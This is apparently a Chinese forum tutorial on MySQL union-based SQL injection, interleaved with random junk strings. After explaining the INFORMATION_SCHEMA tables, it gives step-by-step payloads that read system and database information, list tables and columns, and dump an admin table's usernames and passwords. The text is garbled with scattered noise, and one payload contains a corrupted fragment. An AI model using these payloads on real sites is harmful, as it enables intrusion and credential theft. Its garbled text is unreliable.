mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
5 b8 o+ R, o! P6 j) E
学习盲注前先了解下 IFORMATION_SCHEMA 库

' x0 P  D; M3 j1 o- }Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
0 X' D1 X8 t8 j/ n  F|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
; o: m( [7 z" Y# H' P
|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
; c5 Q$ N1 K& H4 M5 R( t|---字段：TABLE_NAME ->存储表的表名

2 A9 c8 R. _  z7 f6 R|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
9 l" j7 h) @) ]/ {# F8 w|---字段：TABLE_NAME ->存储所属表的名称

5 }8 K$ Z$ f1 L% }  d# r# i0 b: {|---字段：COLUMN_NAME ->该字段的名称
% v3 Y) T% R. ~
) K& i* |% j2 D1 _
! ^2 R) @# S* C3 ~
! Q2 w" k! W: b$ g, }5 x* a( m###########################################################################

7 S6 P; P1 E- N# _4 M! T0x001 获取系统信息:
0 ~' S# x9 Y' ~0 w* s
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

& y9 {+ w) K% E0 N. e/*
; z9 o/ @8 @. y6 q1 Y! f
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
- H7 M$ I$ u) s& z2 H
7 `6 Q! C+ o6 G9 `*/

  m) C9 I+ @0 e

# F; S) \& F  N######################################################################

0 K7 M2 t1 d7 ^8 {) b' J* L% v0x002 获取表名

* b; H: Y& c" s  nunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*


1 i; x4 l* U- k, h$ K
/*
* U/ R+ |% b8 _" A1 l* @5 X: l
0x67617264656e 为当前数据库名

' H& ], u' ~" U) P" }) x* _group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
+ m3 X  f. N; m0 {$ }
. t  j9 n, c6 Q' D8 C5 c######################################################################

' U( x  n$ B1 c  M& u
2 _: w3 \, u# m; f0 q0 S5 M: z7 l, {( I
6 _, }6 Z) K3 I( m0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
4 V! B5 x, y7 d. [& p; Q
6 C1 M1 H& r. g/*

" x3 f; [& m/ ~( mgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

' D2 c8 B- z% M( B6 |0x61646d696e ->选择一个表
. P+ g" W  n  n9 l* M: \
, E# f4 U) T& s& B3 E: \0x67617264656e ->数据库名
. d  w/ \( J! P0 e# q4 @, K+ d  `
4 ]/ e: G7 [+ j5 o& c; O& _) t*/

8 Y) T. B# n5 C5 v#####################################################################


/ s3 Q: T& [3 F# i- G2 n# h
+ C& ~. n& z/ ^, M6 F9 [6 j0x004 获取数据

union select 1,2,3
! e7 Q+ o3 x& G' P4 w,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin



' o0 B% {' b" D8 z/*
( j2 V9 T9 T( @' A- r8 m
9 c) O. k& ?- g8 B- Y0x3c62723e 换行符号HEX编码

* |, t3 x& k9 M! W+ }  d0 ^: `group_concat 同时获得该字段所有数据
  `+ i) K+ Q. ~+ Q5 K
& |- V8 K! x& |*/
! E3 Y/ m5 l* N2 P* V; O